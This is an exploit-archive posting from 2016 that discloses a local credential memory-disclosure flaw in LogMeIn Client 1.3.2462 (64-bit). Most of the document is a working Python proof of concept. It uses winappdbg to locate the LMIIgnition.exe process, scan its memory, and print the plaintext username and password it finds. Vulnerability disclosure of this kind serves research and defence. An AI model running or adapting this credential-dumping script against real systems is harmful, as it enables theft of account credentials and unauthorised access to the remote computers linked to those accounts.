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LogMeIn Client 1.3.2462 (64bit) Credential Disclosure

LogMeIn Client 1.3.2462 (64bit) Credential Disclosure
Posted Sep 8, 2016
Authored by Yakir Wizman, Alexander Korznikov, Viktor Minin

LogMeIn client version 1.3.2462 (64bit) suffers from a local credential memory disclosure vulnerability.

tags | exploit, local, info disclosure
SHA-256 | 3e21881c146874807c984cebd32e544f21626d0eac6b98d3aac36bc0dc6ee9ac

LogMeIn Client 1.3.2462 (64bit) Credential Disclosure

Change Mirror Download
#####
# LogMeIn Client v1.3.2462 (64bit) Local Credentials Disclosure
# Tested on Windows Windows Server 2012 R2 64bit, English
# Vendor Homepage @ https://secure.logmein.com/home/en
# Date 06/09/2016
# Bug Discovery by:
#
# Alexander Korznikov (https://www.linkedin.com/in/nopernik)
# http://korznikov.com/
#
# Viktor Minin (https://www.linkedin.com/in/MininViktor)
# https://1-33-7.com/
#
# Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
# http://www.black-rose.ml
#
#####
# LogMeIn Client v1.3.2462 is vulnerable to local credentials disclosure, the supplied username and password are stored in a plaintext format in memory process.
# A potential attacker could reveal the supplied username and password in order to gain access to account and associated computers.
#####
# Proof-Of-Concept Code:

import time
import urllib
from winappdbg import Debug, Process

username = ''
password = ''
found = 0
filename = "LMIIgnition.exe"
process_pid = 0
memory_dump = []

debug = Debug()
try:
print "[~] Searching for pid by process name '%s'.." % (filename)
time.sleep(1)
debug.system.scan_processes()
for (process, process_name) in debug.system.find_processes_by_filename(filename):
process_pid = process.get_pid()
if process_pid is not 0:
print "[+] Found process with pid #%d" % (process_pid)
time.sleep(1)
print "[~] Trying to read memory for pid #%d" % (process_pid)

process = Process(process_pid)
for address in process.search_bytes('\x26\x5F\x5F\x56\x49\x45\x57\x53\x54\x41\x54\x45\x3D'):
memory_dump.append(process.read(address,150))
for i in range(len(memory_dump[0])):
email_addr = memory_dump[i].split('email=')[1]
tmp_passwd = memory_dump[i].split('password=')[1]
username = email_addr.split('&hiddenEmail=')[0]
password = tmp_passwd.split('&rememberMe=')[0]
if username != '' and password !='':
found = 1
print "[+] Credentials found!\r\n----------------------------------------"
print "[+] Username: %s" % urllib.unquote_plus(username)
print "[+] Password: %s" % password
break
if found == 0:
print "[-] Credentials not found! Make sure the client is connected."
else:
print "[-] No process found with name '%s'." % (filename)

debug.loop()
finally:
debug.stop()

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